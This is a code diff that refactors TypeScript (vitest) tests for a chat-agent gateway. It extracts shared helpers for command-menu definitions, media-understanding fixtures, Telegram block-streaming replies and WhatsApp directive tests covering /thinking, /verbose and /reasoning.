argsParsing: ChatCommandDefinition["argsParsing"] = "positional",
description = "mode",
): ChatCommandDefinition {
return {
key: "usage",
description: "usage",
textAliases: [],
scope: "both",
argsMenu: "auto",
argsParsing,
args: [
{
name: "mode",
description,
type: "string",
choices: ["off", "tokens", "full", "cost"],
},
],
};
}
it("parses positional args and captureRemaining", () => {
const command: ChatCommandDefinition = {
key: "debug",
@@ -209,22 +231,7 @@ describe("commands registry args", () => {
});
it("resolves auto arg menus when missing a choice arg", () => {
const command: ChatCommandDefinition = {
key: "usage",
description: "usage",
textAliases: [],
scope: "both",
argsMenu: "auto",
argsParsing: "positional",
args: [
{
name: "mode",
description: "mode",
type: "string",
choices: ["off", "tokens", "full", "cost"],
},
],
};
const command = createUsageModeCommand();
const menu = resolveCommandArgMenu({ command, args: undefined, cfg: {} as never });
expect(menu?.arg.name).toBe("mode");
@@ -237,22 +244,7 @@ describe("commands registry args", () => {
});
it("does not show menus when arg already provided", () => {
const command: ChatCommandDefinition = {
key: "usage",
description: "usage",
textAliases: [],
scope: "both",
argsMenu: "auto",
argsParsing: "positional",
args: [
{
name: "mode",
description: "mode",
type: "string",
choices: ["off", "tokens", "full", "cost"],
},
],
};
const command = createUsageModeCommand();
const menu = resolveCommandArgMenu({
command,
@@ -299,22 +291,7 @@ describe("commands registry args", () => {
});
it("does not show menus when args were provided as raw text only", () => {
const command: ChatCommandDefinition = {
key: "usage",
description: "usage",
textAliases: [],
scope: "both",
argsMenu: "auto",
argsParsing: "none",
args: [
{
name: "mode",
description: "on or off",
type: "string",
choices: ["off", "tokens", "full", "cost"],
},
],
};
const command = createUsageModeCommand("none", "on or off");
const menu = resolveCommandArgMenu({
command,

View File

@@ -1,5 +1,6 @@
import { describe, expect, it } from "vitest";
import { buildInboundMediaNote } from "./media-note.js";
import { createSuccessfulImageMediaDecision } from "./media-understanding.test-fixtures.js";
describe("buildInboundMediaNote", () => {
it("formats single MediaPath as a media note", () => {
@@ -78,31 +79,7 @@ describe("buildInboundMediaNote", () => {
const note = buildInboundMediaNote({
MediaPaths: ["/tmp/a.png", "/tmp/b.png"],
MediaUrls: ["https://example.com/a.png", "https://example.com/b.png"],
MediaUnderstandingDecisions: [
{
capability: "image",
outcome: "success",
attachments: [
{
attachmentIndex: 0,
attempts: [
{
type: "provider",
outcome: "success",
provider: "openai",
model: "gpt-5.2",
},
],
chosen: {
type: "provider",
outcome: "success",
provider: "openai",
model: "gpt-5.2",
},
},
],
},
],
MediaUnderstandingDecisions: [createSuccessfulImageMediaDecision()],
});
expect(note).toBe("[media attached: /tmp/b.png | https://example.com/b.png]");
});

View File

@@ -0,0 +1,25 @@
export function createSuccessfulImageMediaDecision() {
return {
capability: "image",
outcome: "success",
attachments: [
{
attachmentIndex: 0,
attempts: [
{
type: "provider",
outcome: "success",
provider: "openai",
model: "gpt-5.2",
},
],
chosen: {
type: "provider",
outcome: "success",
provider: "openai",
model: "gpt-5.2",
},
},
],
} as const;
}

View File

@@ -7,6 +7,7 @@ import { getReplyFromConfig } from "./reply.js";
type RunEmbeddedPiAgent = typeof import("../agents/pi-embedded.js").runEmbeddedPiAgent;
type RunEmbeddedPiAgentParams = Parameters<RunEmbeddedPiAgent>[0];
type RunEmbeddedPiAgentReply = Awaited<ReturnType<RunEmbeddedPiAgent>>;
const piEmbeddedMock = vi.hoisted(() => ({
abortEmbeddedPiRun: vi.fn().mockReturnValue(false),
@@ -54,6 +55,58 @@ function restoreHomeEnv(snapshot: HomeEnvSnapshot) {
let fixtureRoot = "";
let caseId = 0;
function createEmbeddedReply(text: string): RunEmbeddedPiAgentReply {
return {
payloads: [{ text }],
meta: {
durationMs: 5,
agentMeta: { sessionId: "s", provider: "p", model: "m" },
},
};
}
function createTelegramMessage(messageSid: string) {
return {
Body: "ping",
From: "+1004",
To: "+2000",
MessageSid: messageSid,
Provider: "telegram",
} as const;
}
function createReplyConfig(home: string, streamMode?: "block") {
return {
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
},
channels: { telegram: { allowFrom: ["*"], streamMode } },
session: { store: path.join(home, "sessions.json") },
};
}
async function runTelegramReply(params: {
home: string;
messageSid: string;
onBlockReply?: Parameters<typeof getReplyFromConfig>[1]["onBlockReply"];
onReplyStart?: Parameters<typeof getReplyFromConfig>[1]["onReplyStart"];
disableBlockStreaming?: boolean;
streamMode?: "block";
}) {
return getReplyFromConfig(
createTelegramMessage(params.messageSid),
{
onReplyStart: params.onReplyStart,
onBlockReply: params.onBlockReply,
disableBlockStreaming: params.disableBlockStreaming,
},
createReplyConfig(params.home, params.streamMode),
);
}
async function withTempHome<T>(fn: (home: string) => Promise<T>): Promise<T> {
const home = path.join(fixtureRoot, `case-${++caseId}`);
await fs.mkdir(path.join(home, ".openclaw", "agents", "main", "sessions"), { recursive: true });
@@ -135,38 +188,18 @@ describe("block streaming", () => {
void params.onBlockReply?.({ text: "second" });
return {
payloads: [{ text: "first" }, { text: "second" }],
meta: {
durationMs: 5,
agentMeta: { sessionId: "s", provider: "p", model: "m" },
},
meta: createEmbeddedReply("first").meta,
};
};
piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(impl);
const replyPromise = getReplyFromConfig(
{
Body: "ping",
From: "+1004",
To: "+2000",
MessageSid: "msg-123",
Provider: "telegram",
},
{
onReplyStart,
onBlockReply,
disableBlockStreaming: false,
},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
},
channels: { telegram: { allowFrom: ["*"] } },
session: { store: path.join(home, "sessions.json") },
},
);
const replyPromise = runTelegramReply({
home,
messageSid: "msg-123",
onReplyStart,
onBlockReply,
disableBlockStreaming: false,
});
await onReplyStartCalled;
releaseTyping?.();
@@ -176,37 +209,17 @@ describe("block streaming", () => {
expect(seen).toEqual(["first\n\nsecond"]);
const onBlockReplyStreamMode = vi.fn().mockResolvedValue(undefined);
piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(async () => ({
payloads: [{ text: "final" }],
meta: {
durationMs: 5,
agentMeta: { sessionId: "s", provider: "p", model: "m" },
},
}));
const resStreamMode = await getReplyFromConfig(
{
Body: "ping",
From: "+1004",
To: "+2000",
MessageSid: "msg-127",
Provider: "telegram",
},
{
onBlockReply: onBlockReplyStreamMode,
},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
},
channels: { telegram: { allowFrom: ["*"], streamMode: "block" } },
session: { store: path.join(home, "sessions.json") },
},
piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(async () =>
createEmbeddedReply("final"),
);
const resStreamMode = await runTelegramReply({
home,
messageSid: "msg-127",
onBlockReply: onBlockReplyStreamMode,
streamMode: "block",
});
expect(resStreamMode?.text).toBe("final");
expect(onBlockReplyStreamMode).not.toHaveBeenCalled();
});
@@ -222,39 +235,16 @@ describe("block streaming", () => {
piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(
async (params: RunEmbeddedPiAgentParams) => {
void params.onBlockReply?.({ text: "\n\n Hello from stream" });
return {
payloads: [{ text: "\n\n Hello from stream" }],
meta: {
durationMs: 5,
agentMeta: { sessionId: "s", provider: "p", model: "m" },
},
};
return createEmbeddedReply("\n\n Hello from stream");
},
);
const res = await getReplyFromConfig(
{
Body: "ping",
From: "+1004",
To: "+2000",
MessageSid: "msg-128",
Provider: "telegram",
},
{
onBlockReply,
disableBlockStreaming: false,
},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
},
channels: { telegram: { allowFrom: ["*"] } },
session: { store: path.join(home, "sessions.json") },
},
);
const res = await runTelegramReply({
home,
messageSid: "msg-128",
onBlockReply,
disableBlockStreaming: false,
});
expect(res).toBeUndefined();
expect(onBlockReply).toHaveBeenCalledTimes(1);
@@ -269,39 +259,16 @@ describe("block streaming", () => {
piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(
async (params: RunEmbeddedPiAgentParams) => {
void params.onBlockReply?.({ text: "Result\nMEDIA: ./image.png" });
return {
payloads: [{ text: "Result\nMEDIA: ./image.png" }],
meta: {
durationMs: 5,
agentMeta: { sessionId: "s", provider: "p", model: "m" },
},
};
return createEmbeddedReply("Result\nMEDIA: ./image.png");
},
);
const res = await getReplyFromConfig(
{
Body: "ping",
From: "+1004",
To: "+2000",
MessageSid: "msg-129",
Provider: "telegram",
},
{
onBlockReply,
disableBlockStreaming: false,
},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
},
channels: { telegram: { allowFrom: ["*"] } },
session: { store: path.join(home, "sessions.json") },
},
);
const res = await runTelegramReply({
home,
messageSid: "msg-129",
onBlockReply,
disableBlockStreaming: false,
});
expect(res).toBeUndefined();
expect(onBlockReply).toHaveBeenCalledTimes(1);

View File

@@ -4,7 +4,11 @@ import path from "node:path";
import { describe, expect, it, vi } from "vitest";
import {
installDirectiveBehaviorE2EHooks,
makeWhatsAppDirectiveConfig,
replyText,
replyTexts,
runEmbeddedPiAgent,
sessionStorePath,
withTempHome,
} from "./reply.directive.directive-behavior.e2e-harness.js";
import { getReplyFromConfig } from "./reply.js";
@@ -20,90 +24,38 @@ async function writeSkill(params: { workspaceDir: string; name: string; descript
);
}
async function runThinkingDirective(home: string, model: string) {
const res = await getReplyFromConfig(
{
Body: "/thinking xhigh",
From: "+1004",
To: "+2000",
CommandAuthorized: true,
},
{},
makeWhatsAppDirectiveConfig(home, { model }, { session: { store: sessionStorePath(home) } }),
);
return replyTexts(res);
}
describe("directive behavior", () => {
installDirectiveBehaviorE2EHooks();
it("accepts /thinking xhigh for codex models", async () => {
await withTempHome(async (home) => {
const storePath = path.join(home, "sessions.json");
const res = await getReplyFromConfig(
{
Body: "/thinking xhigh",
From: "+1004",
To: "+2000",
CommandAuthorized: true,
},
{},
{
agents: {
defaults: {
model: "openai-codex/gpt-5.2-codex",
workspace: path.join(home, "openclaw"),
},
},
channels: { whatsapp: { allowFrom: ["*"] } },
session: { store: storePath },
},
);
const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean);
const texts = await runThinkingDirective(home, "openai-codex/gpt-5.2-codex");
expect(texts).toContain("Thinking level set to xhigh.");
});
});
it("accepts /thinking xhigh for openai gpt-5.2", async () => {
await withTempHome(async (home) => {
const storePath = path.join(home, "sessions.json");
const res = await getReplyFromConfig(
{
Body: "/thinking xhigh",
From: "+1004",
To: "+2000",
CommandAuthorized: true,
},
{},
{
agents: {
defaults: {
model: "openai/gpt-5.2",
workspace: path.join(home, "openclaw"),
},
},
channels: { whatsapp: { allowFrom: ["*"] } },
session: { store: storePath },
},
);
const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean);
const texts = await runThinkingDirective(home, "openai/gpt-5.2");
expect(texts).toContain("Thinking level set to xhigh.");
});
});
it("rejects /thinking xhigh for non-codex models", async () => {
await withTempHome(async (home) => {
const storePath = path.join(home, "sessions.json");
const res = await getReplyFromConfig(
{
Body: "/thinking xhigh",
From: "+1004",
To: "+2000",
CommandAuthorized: true,
},
{},
{
agents: {
defaults: {
model: "openai/gpt-4.1-mini",
workspace: path.join(home, "openclaw"),
},
},
channels: { whatsapp: { allowFrom: ["*"] } },
session: { store: storePath },
},
);
const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean);
const texts = await runThinkingDirective(home, "openai/gpt-4.1-mini");
expect(texts).toContain(
'Thinking level "xhigh" is only supported for openai/gpt-5.2, openai-codex/gpt-5.3-codex, openai-codex/gpt-5.3-codex-spark, openai-codex/gpt-5.2-codex, openai-codex/gpt-5.1-codex, github-copilot/gpt-5.2-codex or github-copilot/gpt-5.2.',
);
@@ -119,22 +71,19 @@ describe("directive behavior", () => {
CommandAuthorized: true,
},
{},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
models: {
"anthropic/claude-opus-4-5": { alias: " help " },
},
makeWhatsAppDirectiveConfig(
home,
{
model: "anthropic/claude-opus-4-5",
models: {
"anthropic/claude-opus-4-5": { alias: " help " },
},
},
channels: { whatsapp: { allowFrom: ["*"] } },
session: { store: path.join(home, "sessions.json") },
},
{ session: { store: sessionStorePath(home) } },
),
);
const text = Array.isArray(res) ? res[0]?.text : res?.text;
const text = replyText(res);
expect(text).toContain("Help");
expect(runEmbeddedPiAgent).not.toHaveBeenCalled();
});
@@ -156,19 +105,17 @@ describe("directive behavior", () => {
CommandAuthorized: true,
},
{},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace,
models: {
"anthropic/claude-opus-4-5": { alias: "demo_skill" },
},
makeWhatsAppDirectiveConfig(
home,
{
model: "anthropic/claude-opus-4-5",
workspace,
models: {
"anthropic/claude-opus-4-5": { alias: "demo_skill" },
},
},
channels: { whatsapp: { allowFrom: ["*"] } },
session: { store: path.join(home, "sessions.json") },
},
{ session: { store: sessionStorePath(home) } },
),
);
expect(runEmbeddedPiAgent).toHaveBeenCalled();
@@ -186,19 +133,16 @@ describe("directive behavior", () => {
CommandAuthorized: true,
},
{},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
makeWhatsAppDirectiveConfig(
home,
{ model: "anthropic/claude-opus-4-5" },
{
session: { store: sessionStorePath(home) },
},
channels: { whatsapp: { allowFrom: ["*"] } },
session: { store: path.join(home, "sessions.json") },
},
),
);
const text = Array.isArray(res) ? res[0]?.text : res?.text;
const text = replyText(res);
expect(text).toContain("Invalid debounce");
expect(text).toContain("Invalid cap");
expect(text).toContain("Invalid drop policy");
@@ -216,27 +160,24 @@ describe("directive behavior", () => {
CommandAuthorized: true,
},
{},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
makeWhatsAppDirectiveConfig(
home,
{ model: "anthropic/claude-opus-4-5" },
{
messages: {
queue: {
mode: "collect",
debounceMs: 1500,
cap: 9,
drop: "summarize",
},
},
session: { store: sessionStorePath(home) },
},
messages: {
queue: {
mode: "collect",
debounceMs: 1500,
cap: 9,
drop: "summarize",
},
},
channels: { whatsapp: { allowFrom: ["*"] } },
session: { store: path.join(home, "sessions.json") },
},
),
);
const text = Array.isArray(res) ? res[0]?.text : res?.text;
const text = replyText(res);
expect(text).toContain(
"Current queue settings: mode=collect, debounce=1500ms, cap=9, drop=summarize.",
);
@@ -251,19 +192,14 @@ describe("directive behavior", () => {
const res = await getReplyFromConfig(
{ Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true },
{},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
thinkingDefault: "high",
},
},
session: { store: path.join(home, "sessions.json") },
},
makeWhatsAppDirectiveConfig(
home,
{ model: "anthropic/claude-opus-4-5", thinkingDefault: "high" },
{ session: { store: sessionStorePath(home) } },
),
);
const text = Array.isArray(res) ? res[0]?.text : res?.text;
const text = replyText(res);
expect(text).toContain("Current thinking level: high");
expect(text).toContain("Options: off, minimal, low, medium, high.");
expect(runEmbeddedPiAgent).not.toHaveBeenCalled();

View File

@@ -1,57 +1,90 @@
import "./reply.directive.directive-behavior.e2e-mocks.js";
import path from "node:path";
import { describe, expect, it, vi } from "vitest";
import { loadSessionStore } from "../config/sessions.js";
import {
installDirectiveBehaviorE2EHooks,
makeWhatsAppDirectiveConfig,
replyText,
replyTexts,
runEmbeddedPiAgent,
sessionStorePath,
withTempHome,
} from "./reply.directive.directive-behavior.e2e-harness.js";
import { getReplyFromConfig } from "./reply.js";
async function runThinkDirectiveAndGetText(
home: string,
options: { thinkingDefault?: "high" } = {},
): Promise<string | undefined> {
const res = await getReplyFromConfig(
{ Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true },
{},
makeWhatsAppDirectiveConfig(home, {
model: "anthropic/claude-opus-4-5",
...(options.thinkingDefault ? { thinkingDefault: options.thinkingDefault } : {}),
}),
);
return replyText(res);
}
function mockEmbeddedResponse(text: string) {
vi.mocked(runEmbeddedPiAgent).mockResolvedValue({
payloads: [{ text }],
meta: {
durationMs: 5,
agentMeta: { sessionId: "s", provider: "p", model: "m" },
},
});
}
async function runInlineReasoningMessage(params: {
home: string;
body: string;
storePath: string;
blockReplies: string[];
}) {
return await getReplyFromConfig(
{
Body: params.body,
From: "+1222",
To: "+1222",
Provider: "whatsapp",
},
{
onBlockReply: (payload) => {
if (payload.text) {
params.blockReplies.push(payload.text);
}
},
},
makeWhatsAppDirectiveConfig(
params.home,
{ model: "anthropic/claude-opus-4-5" },
{
session: { store: params.storePath },
},
),
);
}
describe("directive behavior", () => {
installDirectiveBehaviorE2EHooks();
it("applies inline reasoning in mixed messages and acks immediately", async () => {
await withTempHome(async (home) => {
vi.mocked(runEmbeddedPiAgent).mockResolvedValue({
payloads: [{ text: "done" }],
meta: {
durationMs: 5,
agentMeta: { sessionId: "s", provider: "p", model: "m" },
},
});
mockEmbeddedResponse("done");
const blockReplies: string[] = [];
const storePath = path.join(home, "sessions.json");
const storePath = sessionStorePath(home);
const res = await getReplyFromConfig(
{
Body: "please reply\n/reasoning on",
From: "+1222",
To: "+1222",
Provider: "whatsapp",
},
{
onBlockReply: (payload) => {
if (payload.text) {
blockReplies.push(payload.text);
}
},
},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
},
channels: { whatsapp: { allowFrom: ["*"] } },
session: { store: storePath },
},
);
const res = await runInlineReasoningMessage({
home,
body: "please reply\n/reasoning on",
storePath,
blockReplies,
});
const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean);
const texts = replyTexts(res);
expect(texts).toContain("done");
expect(runEmbeddedPiAgent).toHaveBeenCalledOnce();
@@ -59,68 +92,24 @@ describe("directive behavior", () => {
});
it("keeps reasoning acks for rapid mixed directives", async () => {
await withTempHome(async (home) => {
vi.mocked(runEmbeddedPiAgent).mockResolvedValue({
payloads: [{ text: "ok" }],
meta: {
durationMs: 5,
agentMeta: { sessionId: "s", provider: "p", model: "m" },
},
});
mockEmbeddedResponse("ok");
const blockReplies: string[] = [];
const storePath = path.join(home, "sessions.json");
const storePath = sessionStorePath(home);
await getReplyFromConfig(
{
Body: "do it\n/reasoning on",
From: "+1222",
To: "+1222",
Provider: "whatsapp",
},
{
onBlockReply: (payload) => {
if (payload.text) {
blockReplies.push(payload.text);
}
},
},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
},
channels: { whatsapp: { allowFrom: ["*"] } },
session: { store: storePath },
},
);
await runInlineReasoningMessage({
home,
body: "do it\n/reasoning on",
storePath,
blockReplies,
});
await getReplyFromConfig(
{
Body: "again\n/reasoning on",
From: "+1222",
To: "+1222",
Provider: "whatsapp",
},
{
onBlockReply: (payload) => {
if (payload.text) {
blockReplies.push(payload.text);
}
},
},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
},
channels: { whatsapp: { allowFrom: ["*"] } },
session: { store: storePath },
},
);
await runInlineReasoningMessage({
home,
body: "again\n/reasoning on",
storePath,
blockReplies,
});
expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(2);
expect(blockReplies.length).toBe(0);
@@ -131,41 +120,31 @@ describe("directive behavior", () => {
const res = await getReplyFromConfig(
{ Body: "/verbose on", From: "+1222", To: "+1222", CommandAuthorized: true },
{},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
},
session: { store: path.join(home, "sessions.json") },
},
makeWhatsAppDirectiveConfig(home, { model: "anthropic/claude-opus-4-5" }),
);
const text = Array.isArray(res) ? res[0]?.text : res?.text;
const text = replyText(res);
expect(text).toMatch(/^⚙️ Verbose logging enabled\./);
expect(runEmbeddedPiAgent).not.toHaveBeenCalled();
});
});
it("persists verbose off when directive is standalone", async () => {
await withTempHome(async (home) => {
const storePath = path.join(home, "sessions.json");
const storePath = sessionStorePath(home);
const res = await getReplyFromConfig(
{ Body: "/verbose off", From: "+1222", To: "+1222", CommandAuthorized: true },
{},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
makeWhatsAppDirectiveConfig(
home,
{ model: "anthropic/claude-opus-4-5" },
{
session: { store: storePath },
},
session: { store: storePath },
},
),
);
const text = Array.isArray(res) ? res[0]?.text : res?.text;
const text = replyText(res);
expect(text).toMatch(/Verbose logging disabled\./);
const store = loadSessionStore(storePath);
const entry = Object.values(store)[0];
@@ -175,22 +154,7 @@ describe("directive behavior", () => {
});
it("shows current think level when /think has no argument", async () => {
await withTempHome(async (home) => {
const res = await getReplyFromConfig(
{ Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true },
{},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
thinkingDefault: "high",
},
},
session: { store: path.join(home, "sessions.json") },
},
);
const text = Array.isArray(res) ? res[0]?.text : res?.text;
const text = await runThinkDirectiveAndGetText(home, { thinkingDefault: "high" });
expect(text).toContain("Current thinking level: high");
expect(text).toContain("Options: off, minimal, low, medium, high.");
expect(runEmbeddedPiAgent).not.toHaveBeenCalled();
@@ -198,21 +162,7 @@ describe("directive behavior", () => {
});
it("shows off when /think has no argument and no default set", async () => {
await withTempHome(async (home) => {
const res = await getReplyFromConfig(
{ Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true },
{},
{
agents: {
defaults: {
model: "anthropic/claude-opus-4-5",
workspace: path.join(home, "openclaw"),
},
},
session: { store: path.join(home, "sessions.json") },
},
);
const text = Array.isArray(res) ? res[0]?.text : res?.text;
const text = await runThinkDirectiveAndGetText(home);
expect(text).toContain("Current thinking level: off");
expect(text).toContain("Options: off, minimal, low, medium, high.");
expect(runEmbeddedPiAgent).not.toHaveBeenCalled();

View File

@@ -20,6 +20,22 @@ export const DEFAULT_TEST_MODEL_CATALOG: Array<{
{ id: "gpt-4.1-mini", name: "GPT-4.1 Mini", provider: "openai" },
];
export type ReplyPayloadText = { text?: string | null } | null | undefined;
export function replyText(res: ReplyPayloadText | ReplyPayloadText[]): string | undefined {
if (Array.isArray(res)) {
return typeof res[0]?.text === "string" ? res[0]?.text : undefined;
}
return typeof res?.text === "string" ? res.text : undefined;
}
export function replyTexts(res: ReplyPayloadText | ReplyPayloadText[]): string[] {
const payloads = Array.isArray(res) ? res : [res];
return payloads
.map((entry) => (typeof entry?.text === "string" ? entry.text : undefined))
.filter((value): value is string => Boolean(value));
}
export async function withTempHome<T>(fn: (home: string) => Promise<T>): Promise<T> {
return withTempHomeBase(
async (home) => {
@@ -35,6 +51,55 @@ export async function withTempHome<T>(fn: (home: string) => Promise<T>): Promise
);
}
export function sessionStorePath(home: string): string {
return path.join(home, "sessions.json");
}
export function makeWhatsAppDirectiveConfig(
home: string,
defaults: Record<string, unknown>,
extra: Record<string, unknown> = {},
) {
return {
agents: {
defaults: {
workspace: path.join(home, "openclaw"),
...defaults,
},
},
channels: { whatsapp: { allowFrom: ["*"] } },
session: { store: sessionStorePath(home) },
...extra,
};
}
export const AUTHORIZED_WHATSAPP_COMMAND = {
From: "+1222",
To: "+1222",
Provider: "whatsapp",
SenderE164: "+1222",
CommandAuthorized: true,
} as const;
export function makeElevatedDirectiveConfig(home: string) {
return makeWhatsAppDirectiveConfig(
home,
{
model: "anthropic/claude-opus-4-5",
elevatedDefault: "on",
},
{
tools: {
elevated: {
allowFrom: { whatsapp: ["+1222"] },
},
},
channels: { whatsapp: { allowFrom: ["+1222"] } },
session: { store: sessionStorePath(home) },
},
);
}
export function assertModelSelection(
storePath: string,
selection: { model?: string; provider?: string } = {},

Some files were not shown because too many files have changed in this diff Show More